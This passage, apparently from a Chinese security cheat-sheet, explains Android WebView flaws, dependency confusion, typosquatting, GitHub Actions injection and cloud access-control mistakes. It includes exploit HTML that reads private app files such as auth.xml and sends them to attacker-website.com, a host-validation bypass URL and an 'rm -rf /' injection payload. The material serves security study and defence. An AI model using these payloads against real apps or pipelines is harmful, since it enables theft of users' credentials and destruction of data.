    // webView.loadUrl(uri.toString());
}
```

在这种情况下，您可以使用反斜杠绕过限制：

```java
String url = "http://attacker-website.com\\\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// "host" 变量包含 "legitimate.com" 值
Log.d("d", host);
// WebView 加载 attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());
```

### 缺少方案验证

如果应用不验证方案值（但可能验证主机值），您可以尝试使用 `javascript` 和 `file` 方案 URL 滥用此情况：

```http
javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html
```

## setWebContentsDebuggingEnabled

[setWebContentsDebuggingEnabled](https://developer.android.com/reference/android/webkit/WebView.html#setWebContentsDebuggingEnabled%28boolean%29) 启用加载到应用任何 WebView 中的 Web 内容（HTML/CSS/JavaScript）的调试。使用此标志是为了便于调试 Web 布局和在 WebView 内运行的 JavaScript 代码。

{% hint style="info" %}
`WebContentsDebugging` 不受应用清单中 `debuggable` 标志状态的影响。
{% endhint %}

启用此标志允许您在应用的任何 WebView 内执行任意 JavaScript 代码。

参考资料：

* [远程调试 WebView](https://developer.chrome.com/docs/devtools/remote-debugging/webviews/)

## 参考资料

* [Oversecured：Android 访问应用受保护组件](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
* [绕过 Android 应用中主机验证的黄金技术](https://hackerone.com/reports/431002)


# WebResourceResponse漏洞

## WebResourceResponse 概述

[WebResourceResponse](https://developer.android.com/reference/android/webkit/WebResourceResponse) 是一个允许 Android 应用在 WebView 内模拟服务器的类，通过拦截请求并从应用代码本身返回任意内容（包括状态码、内容类型、内容编码、标头和响应体），而无需向服务器发出任何实际请求。

## 安全问题

### 访问任意文件

如果您控制返回文件的路径并且拥有 XSS 或在 WebView 内打开任意链接的能力，您可以通过 XHR 请求获得对任意文件的访问权限。

例如，如果存在以下 `WebResourceResponse` 实现：

```java
WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
   public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
       Uri uri = request.getUrl();
       if (uri.getPath().startsWith("/local_cache/")) {
           File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
           if (cacheFile.exists()) {
               InputStream inputStream;
               try {
                   inputStream = new FileInputStream(cacheFile);
               } catch (IOException e) {
                   return null;
               }
               Map<String, String> headers = new HashMap<>();
               headers.put("Access-Control-Allow-Origin", "*");
               return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
           }
       }
       return super.shouldInterceptRequest(view, request);
   }
});
```

攻击的概念证明可能如下所示：

```html
<!DOCTYPE html>
<html>
<head>
   <title>Evil page</title>
</head>
<body>
<script type="text/javascript">
   function theftFile(path, callback) {
     var oReq = new XMLHttpRequest();

     oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
     oReq.onload = function(e) {
       callback(oReq.responseText);
     }
     oReq.onerror = function(e) {
       callback(null);
     }
     oReq.send();
   }

   theftFile("shared_prefs/auth.xml", function(contents) {
       location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents);
   });
</script>
</body>
</html>
```

在上述示例中，攻击是可能的，因为 `Uri.getLastPathSegment()` 返回一个解码值，该值用于在 `new File(getCacheDir(), uri.getLastPathSegment())` 行中生成文件路径。

像 CORS 这样的策略在 WebView 内仍然有效。因此，没有 `Access-Control-Allow-Origin: *` 标头不允许向 `any.domain` 发出请求。但是，此限制不影响此概念证明，因为 `WebResourceResponse` 实现检查仅使用 URL 路径，您可以将 `any.domain` 替换为当前来源。

参考资料：

* [文章：Amazon Shopping 和 Amazon India Online Shopping 应用：访问 Amazon 应用拥有的任意文件](https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/#an-overview-of-the-vulnerability-in-amazon%E2%80%99s-apps)

## 参考资料

* [Android：探索 WebResourceResponse 中的漏洞](https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/)


# WebSettings漏洞

## WebSettings 概述

[WebSettings](https://developer.android.com/reference/android/webkit/WebSettings) 管理 WebView 的设置状态。当首次创建 WebView 时，它会获得一组默认设置。从 [WebView#getSettings()](https://developer.android.com/reference/android/webkit/WebView#getSettings%28%29) 获得的 WebSettings 对象与 WebView 的生命周期相关联。

## 安全问题

### setAllowUniversalAccessFromFileURLs

[setAllowUniversalAccessFromFileURLs](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) 设置是否应允许在文件方案 URL 上下文中的跨域请求访问来自**任何来源**的内容。这包括访问来自其他文件方案 URL 或 Web 上下文的内容。自 Android 4.1 以来，默认值为 `false`。

{% hint style="info" %}
此方法在 API 级别 30 中已弃用
{% endhint %}

启用此设置允许在 `file://` 上下文中加载的恶意脚本启动跨站点脚本攻击，访问任意本地文件，包括 WebView cookie、应用私有数据，甚至在任意网站上使用的凭据。

例如，如果应用允许您在 WebView 中打开任意链接，您可以传递到共享 HTML 文件的路径，该文件具有以下内容以窃取私有文件：

```html
<!-- file:///sdcard/index.html -->
<script>
    var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
        }
    }
    xhr.open('GET', url, true);
    xhr.send('');
</script>
```


# 依赖安全


# 依赖混淆

## 概述

公司使用内部注册表来存放内部和公共依赖。换句话说，他们尝试创建一个包含所有依赖的单一注册表，其中依赖项由公司员工添加。这种方法的目的是最小化对公共注册表的依赖，从而减少在内部使用被篡改依赖的可能性。

然而，并不总是可能完全禁止到公共注册表的所有流量。因此，如果包管理器在解析时尝试在公共注册表中查找内部依赖，这可能导致依赖混淆。

攻击按照以下方式发展：

* 公司有一个名为 `internal-lib` 的内部包。
* `internal-lib` 没有放置在公共注册表中，如 pypi、npm、rubygems 等。
* 攻击者制作一个在安装期间执行任意代码的包，并将其作为 `internal-lib` 上传到公共注册表。
* 包管理器在安装过程中使用来自公共注册表的 `internal-lib`，导致代码执行。

{% embed url="<https://0xsapra.github.io/website//Exploiting-Dependency-Confusion>" %}

## 如何在安装期间执行代码？

## 技巧

### 数据收集

为了在基于数据识别组织的能力和避免收集过多敏感信息的需求之间取得平衡，您可以收集以下数据：

* 用户名
* 主机名
* 当前路径

连同外部IP一起，这些数据应该足够帮助安全团队识别潜在易受攻击的系统，并避免将测试误认为是真实攻击。

### 数据检索

由于大多数可能的目标位于保护良好的企业网络深处，DNS渗透是检索收集数据的最佳方式。将十六进制编码的数据作为DNS查询的一部分发送到自定义权威名称服务器。您可以使用以下资源来实现DNS渗透：

* [1u.ms](https://github.com/neex/1u.ms) 是一个小型零配置DNS工具集，提供易于使用的DNS重绑定工具，以及获取任何给定内容的可解析资源记录的方法
* [Interactsh](https://github.com/projectdiscovery/interactsh) 是一个OOB交互收集服务器和客户端库

## 参考资料

* [文章：依赖混淆：我如何入侵苹果、微软和其他数十家公司](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [报告：不安全的Bundler配置从Rubygems.org获取内部Gems（okra）](https://hackerone.com/reports/1104874)
* [Geek Freak：依赖混淆](https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/)
* [文章：RyotaK的博客 - Cloudflare的cdnjs中的远程代码执行](https://blog.ryotak.me/post/cdnjs-remote-code-execution-en/)
* [Black Hat EU 2021 - 挑选锁定文件：攻击和防御您的供应链](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-tech-notes/-/tree/master/blackhat-eu-2021-picking-lockfiles)
* [DustiLock](https://github.com/Checkmarx/dustilock) 是一个查找哪些依赖容易受到依赖混淆攻击的工具。
* [Confuser](https://github.com/doyensec/confuser) 是一个检测依赖混淆漏洞的工具，允许扫描`packages.json`文件，生成并向NPM存储库发布payload，最后聚合来自易受攻击目标的回调。


# 依赖劫持

包所有者可以使用自定义域名的电子邮件向各种包管理器（如`npm`、`pypi`等）注册。如果域名过期，攻击者可以注册此域名并通过密码恢复获得对账户的访问权限。

{% embed url="<https://thehackerblog.com/zero-days-without-incident-compromising-angular-via-expired-npm-publisher-email-domains-7kZplW4x/>" %}


# 域名欺骗

## 概述

域名欺骗长期以来一直是域名领域的一个已知问题。然而，同样的方法可以用于在构建系统或公司员工的机器上获得任意代码执行，这些系统在依赖安装期间使用公共注册表。

攻击按照以下方式发展：

* 攻击者制作一个在安装期间执行任意代码的包
* 该包是流行包的拼写错误版本，容易被错误输入，例如 `reqeusts`（而不是 `requests`）
* 攻击者将包上传到公共注册表，如 pypi、npm、rubygems 等
* 如果有人无意中安装了这样的包，攻击者将获得任意代码执行能力。

此外，如果您利用输入命令时的错误，这也可能奏效。例如，让我们看看在 `python` 中使用 `pip` 安装依赖：

```bash
$ pip install -r requirements.txt
```

然而，在输入时很容易遗漏 `-r` 键，命令将变成这样：

```bash
$ pip install requirements.txt
```

换句话说，不是从 `requirements.txt` 文件安装依赖，而是安装名为 `requirements.txt` 的包。因此，攻击者只需要创建并上传一个名为 `requirements.txt` 的恶意包。

另一个例子是 `-` npm 包，它有超过 700,000 次下载，更多详情请查看 "[空的 npm 包 '-' 有超过 700,000 次下载 - 原因如下](https://www.bleepingcomputer.com/news/software/empty-npm-package-has-over-700-000-downloads-heres-why/)"。

## 如何在安装期间执行代码？

## 技巧

### 数据收集

为了在基于数据识别组织的能力和避免收集过多敏感信息的需求之间取得平衡，您可以收集以下数据：

* 用户名
* 主机名
* 当前路径

连同外部IP一起，这些数据应该足够帮助安全团队识别潜在易受攻击的系统，并避免将测试误认为是真实攻击。

### 数据检索

由于大多数可能的目标位于保护良好的企业网络深处，DNS渗透是检索收集数据的最佳方式。将十六进制编码的数据作为DNS查询的一部分发送到自定义权威名称服务器。您可以使用以下资源来实现DNS渗透：

* [1u.ms](https://github.com/neex/1u.ms) 是一个小型零配置DNS工具集，提供易于使用的DNS重绑定工具，以及获取任何给定内容的可解析资源记录的方法
* [Interactsh](https://github.com/projectdiscovery/interactsh) 是一个OOB交互收集服务器和客户端库

## 参考资料

* [文章：编程语言包管理器的域名欺骗](https://incolumitas.com/2016/06/08/typosquatting-package-managers/)


# GitHub安全


# GitHub Actions

## 允许的不安全命令

有一些已弃用的 `set-env` 和 `add-path` 工作流命令，可以通过将 `ACTIONS_ALLOW_UNSECURE_COMMANDS` 环境变量设置为 `true` 来显式启用。

* `set-env` 通过以下工作流命令设置环境变量 `::set-env name=<NAME>::<VALUE>`
* `add-path` 通过以下工作流命令更新 `PATH` 环境变量 `::add-path::<VALUE>`

根据环境变量的使用情况，在最坏的情况下，这可能允许攻击者更改路径并运行非预期的命令，导致任意命令执行。例如，考虑以下工作流：

```yaml
name: 易受攻击的工作流

on:
  pull_request_target

env:
  # 1. 启用不安全命令
  ACTIONS_ALLOW_UNSECURE_COMMANDS: true
  ENVIRONMENT_NAME: prod

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      # 2. 打印 github 上下文
      - run: |
          print("""${{ toJSON(github) }}""")
        shell: python
      - name: 创建新的 PR 部署
        uses: actions/github-script@v5
        with:
          # 3. 创建部署
          script: |
            return await github.rest.repos.createDeployment({
                ...context.repo,
                ref: context.payload.pull_request.head.sha,
                auto_merge: false,
                required_contexts: [],
                environment: "${{ env.ENVIRONMENT_NAME }}",
                transient_environment: false,
                production_environment: false,
            });
          github-token: ${{ secrets.GITHUB_TOKEN }}
```

上述工作流通过在 `env` 部分将 `ACTIONS_ALLOW_UNSECURE_COMMANDS` 设置为 `true` 来启用不安全命令。可以看到，`deploy` 作业的第一步将 `github` 上下文打印到工作流日志中。由于 `github` 上下文中的部分变量是用户控制的，可能滥用不安全命令来设置任意环境变量。例如，攻击者可以使用拉取请求描述来传递以下payload，当打印 `github` 上下文时，这将重置 `ENVIRONMENT_NAME`：

```
\n::set-env name=ENVIRONMENT_NAME::", <YOUR_JS_CODE>//\n
```

{% hint style="info" %}
请注意，在2020年5月，GitHub 弃用了这些不安全的工作流命令。从那时起，GitHub 推荐使用环境文件：

* [GITHUB\_ENV](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable) 设置环境变量
* [GITHUB\_PATH](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path) 添加系统路径

然而，GitHub 仍然提供 `ACTIONS_ALLOW_UNSECURE_COMMANDS` 环境变量来启用已弃用的命令，以保持向后兼容性。
{% endhint %}

现在让我们看看上述payload的工作原理：

![](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/CI%20CD/Github/img/set-env-payload.png)

由于 payload 使用了 `::set-env name=ENVIRONMENT_NAME::` 命令，它将把环境变量 `ENVIRONMENT_NAME` 重置为 `", <YOUR_JS_CODE>//`。因此，在 `github-script` 中，`environment` 将被设置为 `", <YOUR_JS_CODE>//` 而不是 `prod`。然后，攻击者可以通过精心设计的 `YOUR_JS_CODE` 注入任意 JavaScript 代码。

{% hint style="info" %}
实际上，`github-script` 的实现使用 `new Function(...)` 来评估 JavaScript 代码，这可能导致远程代码执行。
{% endhint %}

## 参考资料

* [GitHub Actions：在 GitHub Actions 工作流中执行远程代码](https://blog.christophetd.fr/remote-code-execution-in-github-actions-workflows/)
* [GitHub Actions：利用 GitHub Actions 中的注入漏洞](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)
* [GitHub Actions：如何使用 GitHub Actions 的工作流命令](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions)

### 脚本注入

GitHub Actions 允许您使用各种shell在运行器上执行命令。这些shell包括 `bash`、`pwsh`、`powershell` 和 `python`。然而，在某些情况下，GitHub Actions 会将用户控制的输入直接传递给shell命令，这可能导致命令注入。

例如，考虑以下易受攻击的工作流：

```yaml
name: 易受攻击的工作流

on:
  pull_request_target

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: 获取 PR 编号
        id: pr-number
        run: |
          echo "PR_NUMBER=${{ github.event.pull_request.number }}" >> $GITHUB_ENV
      - name: 注入命令
        run: |
          # 用户控制的输入
          PR_NUMBER=${{ env.PR_NUMBER }}

          # 直接传递给 shell
          echo "Processing PR #$PR_NUMBER"

          # 易受攻击的命令执行
          ./deploy.sh --pr $PR_NUMBER
```

在上述示例中，攻击者可以通过将恶意payload注入到PR标题或描述中来执行任意命令。例如，如果攻击者创建一个标题为 `1; rm -rf /` 的PR，这将导致执行 `rm -rf /` 命令。

为了防止此类攻击，应该：

1. 验证和清理所有用户控制的输入
2. 使用安全的参数传递方法
3. 避免直接将用户输入传递给shell命令

## 参考资料

* [GitHub Actions 安全最佳实践](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions)
* [GitHub Actions 脚本注入防护](https://securitylab.github.com/research/github-actions-injections/)
* [OWASP GitHub Actions 安全指南](https://owasp.org/www-project-github-actions-security-top-10/)

### 权限提升

GitHub Actions 运行器默认具有与仓库相同的权限。在某些情况下，这可能导致权限提升，特别是当工作流使用敏感的 `secrets.GITHUB_TOKEN` 时。

考虑以下示例：

```yaml
name: 易受攻击的工作流

on:
  pull_request_target

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: 创建 PR 部署
        uses: actions/github-script@v5
        with:
          script: |
            // 攻击者可以修改此代码
            return await github.rest.repos.createDeployment({
                ...context.repo,
                ref: context.payload.pull_request.head.sha,
                auto_merge: false,
                required_contexts: [],
                environment: "production",
                transient_environment: false,
                production_environment: false,
            });
          github-token: ${{ secrets.GITHUB_TOKEN }}
```

在上述示例中，攻击者可以通过修改 `github-script` 来创建生产环境的部署，即使原始工作流只打算用于测试环境。

## 参考资料

* [GitHub Actions 权限管理](https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions)
* [GitHub Actions Token 权限](https://docs.github.com/en/actions/security-guides/automatic-token-authentication)
* [GitHub Actions 安全最佳实践](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions)


# 代码所有者

## 概述

GitHub 允许您定义负责仓库中代码的个人或团队，即[代码所有者](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)。为此，您应该将 `CODEOWNERS` 文件添加到以下位置之一：

* `.github/`
* `/`
* `docs/`

之后，您可以设置受保护分支的规则，并要求代码所有者进行强制批准。

参考资料：

* [GitHub 文档：关于代码所有者](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

## 代码所有权接管

代码所有者的文档[说明](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)`CODEOWNERS` 文件可以在 `/`、`docs/` 或 `.github/` 目录中定义：

```
要使用 CODEOWNERS 文件，请在仓库的根目录、docs/ 或 .github/ 目录中创建一个名为 CODEOWNERS 的新文件，在您想要添加代码所有者的分支中。
```

然而，如果一个仓库包含多个 CODEOWNERS 文件会发生什么？实际上，在允许的路径中存在以下优先级：

* `.github/`
* `/`
* `docs/`

因此，如果 GitHub 在 `.github/` 中找到 `CODEOWNERS` 文件，它将忽略 `/` 和 `docs/` 中的 `CODEOWNERS` 文件。换句话说，如果 `CODEOWNERS` 文件已在 `/` 或 `docs/` 中创建，具有写入权限的攻击者能够将 `CODEOWNERS` 文件添加到 `.github/`，接管代码所有权，并绕过分支保护规则。现在攻击者是整个仓库代码的所有者，可以批准任何更改。

假设有一个仓库，其中 `.github/` 有单独的所有者负责对该目录的更改，而 `CODEOWNERS` 文件存储在 `/` 中。在这种情况下，`CODEOWNERS` 文件可能如下所示：

```
* @owner-team
.github/ @dev-team
```

`@dev-team` 团队的成员，或获得该成员账户访问权限的攻击者，可以使用以下步骤在此仓库中提升其权限：

1. 使用个人 GitHub 账户或其他被入侵的账户 fork 仓库。
2. 添加具有以下内容的 `.github/CODEOWNERS` 文件：

   ```
   * @dev-team
   ```
3. 向目标仓库创建 PR。
4. 批准 PR（由于攻击者有权访问 `.github/` 的代码所有者账户，他们可以在 `.github/` 内批准任何更改）。
5. 合并更改。
6. 现在攻击者是整个仓库的代码所有者，他们能够批准任何更改，包括 `.github/` 之外的更改。


# Dependabot

## 概述

Dependabot 使用 GitHub Actions 和独立环境来运行检查。有几个公共资源可以帮助审查内部实现细节：

* [dependabot/updater-action](https://github.com/dependabot/updater-action) 负责运行 Dependabot 更新的 action。
* [dependabot/dependabot-core](https://github.com/dependabot/dependabot-core) 实现核心逻辑的 action。查看 `dependabot-core` 的[架构](https://github.com/dependabot/dependabot-core/#architecture)。
* [dependabot-updater](https://github.com/dependabot/updater-action/blob/627e11f59882ac2b7ac43821f5ea30c9e595888c/docker/Dockerfile.updater) 是启动扫描的 Docker 镜像（包含 `dependabot-core` 作为组件）。
* [dependabot-update-job-proxy](https://github.com/dependabot/updater-action/blob/627e11f59882ac2b7ac43821f5ea30c9e595888c/docker/Dockerfile.proxy) 带有代理的 Docker 镜像，用于认证对特定 GitHub API 端点的请求，并允许 dependabot 不泄露 GitHub API 令牌。

## 代码执行

Dependabot 能够从清单文件中收集依赖信息，如 [setup.py](https://docs.python.org/3/distutils/setupscript.html) 或 [.gemspec](https://guides.rubygems.org/specification-reference/)，这些文件可能被滥用来执行任意代码。具有 [package-ecosystem](https://docs.github.com/en/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#package-ecosystem) 值 `bundler`、`mix` 和 `pip` 的包管理器可能被滥用，在版本更新过程中在清单文件中执行外部代码。因此，如果您能够篡改清单文件，可以在 Dependabot 运行时执行任意代码。

{% hint style="info" %}
查看如何滥用清单文件以获得代码执行的信息，请参阅[参数注入](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Web%20Application/Command%20Injection/parameters-injection.md)页面
{% endhint %}

Dependabot 允许开发者通过将 [insecure-external-code-execution](https://docs.github.com/en/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#insecure-external-code-execution) 设置为 `deny` 来防止代码执行。此外，当在更新配置中使用 [registries](https://docs.github.com/en/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#registries) 设置时，Dependabot 会自动将 `insecure-external-code-execution` 设置为 `deny` 并防止外部代码执行。然而，这可能导致版本更新失败，因此开发者可以通过将 `insecure-external-code-execution` 设置为 `allow` 来覆盖此行为并允许代码执行。

## 私有仓库的发布说明和提交信息泄露

如果 Dependabot 检测到未更新的依赖，它将创建一个 PR 来提升这些依赖的版本。Dependabot 添加有关更改的附加信息，其中可能包含发布说明和带有消息的提交列表。您可以在以下屏幕截图中找到此类 PR 的示例：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-9a7423e2db816bceb6f09e4e1bcd94991c610ada%2Fdependabot-pr-example.png?alt=media)

然而，[Dependabot 支持私有依赖](https://github.blog/2021-03-15-dependabot-private-dependencies/)，它也会将这些数据添加到私有依赖的 PR 中。因此，如果公共项目有私有依赖，Dependabot 将泄露这些项目的发布说明和提交。

## 参考资料

* [文章：深入 Dependabot 以及 npm 中的一个漏洞](https://blog.tyage.net/posts/2021-06-27-dependabot-rce/)


# 重定向

## 概述

当用户更改其用户名或组织名称时，GitHub 会创建一个重定向路由，允许从其旧 URL 访问仓库。更改用户名或组织名称后，旧的名称变得可以被认领。这意味着攻击者可以认领被废弃的用户名或组织名称并破坏重定向。因此，如果有人使用旧 URL，他们将处理攻击者的仓库。

这也适用于已转移的仓库。

## 参考资料

* [新型供应链攻击可能危及流行的管理工具](https://www.intezer.com/blog/malware-analysis/chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk/)
* [报告：依赖仓库劫持，也称为来自 GitHub 仓库 rubygems/bundler-site & rubygems/bundler.github.io + bundler.io 文档的 Repo Jacking](https://hackerone.com/reports/1430405)


# 发布版本

## 概述

GitHub 提供发布功能，作为发布打包软件迭代的方式。发布包括源代码的压缩快照，如 `.zip` 和 `.tar.gz` 文件。此外，GitHub 允许您添加可以在创建或编辑发布时附加的额外文件。而且，这些额外文件可以在发布创建后被修改。

要重现此问题，请按照以下步骤：

1. 在 GitHub 上创建一个公共仓库
2. 创建一个发布并添加 `test.sh` 文件
3. 邀请一个 `attacker` 用户作为协作者
4. `attacker` 可以编辑发布并修改 `test.sh` 文件
5. 在 GitHub UI 中没有指示显示发布已被修改

换句话说，攻击者可以入侵任何项目协作者的账户并在项目所有者不知情的情况下修改发布。这可能的原因如下：

1. 发布资源可以在初始发布后修改（不包括源代码快照）
2. 任何项目协作者都可以修改发布。没有权限允许所有者防止发布被更改
3. UI 不通知或指示发布已被修改（[发布 API](https://docs.github.com/en/rest/reference/repos#releases) 公开有关发布资源的附加信息）
4. 如果 git 提交已验证，则显示 `verified` 标志（这仅适用于源代码快照，不适用于额外文件）

## 参考资料

* [文章：通过 GitHub.com 发布进行的供应链攻击](https://wwws.nightwatchcybersecurity.com/2021/04/25/supply-chain-attacks-via-github-com-releases/)


# AWS


# Amazon API网关

## Amazon API Gateway 概述

Amazon API Gateway 是一项 AWS 服务，用于创建、发布、维护、监控和保护任意规模的 REST、HTTP 和 WebSocket API。API Gateway 处理接受和处理多达数十万个并发 API 调用所需的所有任务，包括流量管理、CORS 支持、授权和访问控制、限流、监控和 API 版本管理。换句话说，API Gateway 是一个可扩展的无服务器反向代理服务，可以将 HTTP/HTTPS 请求路由到不同的实现后端。

{% embed url="<https://docs.aws.amazon.com/apigateway/latest/developerguide/welcome.html>" %}

### API Gateway 工作原理

以下图表解释了 API Gateway 的工作原理：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-757a8d66cca06a48dc8c37257970d30f73a43e54%2Fapi-gateway-arch.png?alt=media)

### Lambda 授权器

[Lambda 授权器](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-use-lambda-authorizer.html)（以前称为自定义授权器）是 API Gateway 的一个功能，它使用 lambda 函数来控制对 API 的访问。Lambda 授权器对于实现自定义授权方案非常有用，这些方案使用持有者令牌认证策略（如 OAuth 或 SAML），或者使用请求参数来确定调用者的身份。

以下图表说明了 Lambda 授权器的授权工作流程：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-28c7f2c7a92e2a1b0a6f385f5e6d9f415ccdf6de%2Flambda-auth-arch.png?alt=media)

当客户端对 API 的某个方法发出请求时，API Gateway 会调用 Lambda 授权器，该授权器将调用者的身份作为输入，并返回一个 IAM 策略作为输出。[Amazon API Gateway Lambda 授权器的输出](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-lambda-authorizer-output.html)具有以下结构：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-94fe08c50378c892e9a0eeafd869c09e9a127375%2Flambda-auth-output.png?alt=media)

`policyDocument` 属性允许 Lambda 授权器指定此用户可以访问或不能访问哪些 API 端点。`policyDocument` 对象包含一个 IAM 策略，该策略允许或拒绝对表示每个 API 端点的特殊格式的[资源](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_resource.html)执行 `execute-api` [操作](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_action.html)：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-341945ce51d944dfa247b37eb31ab03cd59a034c%2Flambda-auth-resource-format.png?alt=media)

IAM 策略中的 [ARNs](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-arns) 有几个不同的部分，由冒号分隔：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-27034f033b08b075ef61f65eb42dc4df65c9458e%2Farn-format.png?alt=media)

`execute-api` ARN 格式将 *API ID、API 阶段、HTTP 动词和 API 资源*（URL 路径）全部打包到 ARN 的最后一个 `resource` 部分中。它们由斜杠分隔，就像在虚拟文件系统中形成单个逻辑路径一样。

[文档](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)声称，API ID、阶段名称和 HTTP 动词可以很容易地被 `*` 替换，表示该部分的任何值：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-a3903f7706fa534961f19f6fb01581330517d331%2Flambda-auth-resource-format-2.png?alt=media)

{% hint style="info" %}
通配符 `*` 是贪婪的，会在 ARN 的每个冒号分隔部分内尽可能扩展（它相当于 POSIX 正则表达式中的 `.*`）。扩展不会在斜杠处停止 - 任何 `*` 都可以自由将其匹配扩展到 [execute-api ARN](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) 的整个最后一部分。

通配符也匹配空字符串。
{% endhint %}

{% hint style="info" %}
每个 AWS 服务决定 ARN 的资源部分匹配是否区分大小写，请参阅[链接](https://acloud.guru/forums/aws-certified-solutions-architect-associate/discussion/-KGQ_3oKHuxKEqAv5EPw/key-names-case-sensitive-or-insensitive-?answer=-KO0jdWjDzmwUANNtSz6)。
{% endhint %}

## 安全问题

### 不正确的 policyDocument 通配符配置

在 ARN 中使用通配符可能导致绕过访问控制的可能性。想象一个需要允许用户访问单个端点 `/business/op` 上的任何 HTTP 动词的 API。开发人员可能会倾向于编写如下的 `policyDocument`：

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Action": "execute-api:Invoke",
            "Effect": "Allow",
            "Resource": "anr:aws:execute-api:us-west-1:12345678:myApiId/myStage/*/business/op"
        }
    ]
}
```

所有以下 ARN 都会被示例策略允许。但是，阅读了这部分文档的开发人员很可能不会预料到第 6 项。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-5ff21d750dd9f2c6481cc5952303139a47bb3cc5%2Farn-wildcard-example.png?alt=media)

因此，将 HTTP 动词设置为星号会使端点资源不再锚定到 URL 路径的开头。

## 参考资料

* [AWS API Gateway Lambda 授权器和 IAM 通配符扩展的安全影响](https://www.tenchisecurity.com/blog/thefaultinourstars)


# Amazon Cognito

## Amazon Cognito 概述

Amazon Cognito 为客户的 Web 和移动应用程序提供身份验证、授权和用户管理。用户可以直接使用用户名和密码登录，或通过第三方（如 Facebook、Amazon、Google、Apple）或通过 SAML 2.0 和 OpenID Connect 的企业身份提供商登录。

Amazon Cognito 的两个主要组件是 `用户池` 和 `身份池`。`用户池` 是为应用程序用户提供注册和登录选项的用户目录。`身份池` 使开发人员能够授予用户访问其他 AWS 服务的权限。

{% embed url="<https://docs.aws.amazon.com/cognito/latest/developerguide/what-is-amazon-cognito.html>" %}

### Amazon Cognito 如何工作？

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-553029ab99807202104cd7c80a6815a9f59d752c%2Fscenario-cup-cib2.png?alt=media)

1. 用户通过 `用户池` 登录，成功身份验证后接收用户池令牌（JWT 令牌）
2. 应用程序通过 `身份池` 将用户池令牌交换为 AWS 凭证
3. 用户可以使用 AWS 凭证访问其他 AWS 服务，如 Amazon S3 或 DynamoDB

## 安全问题

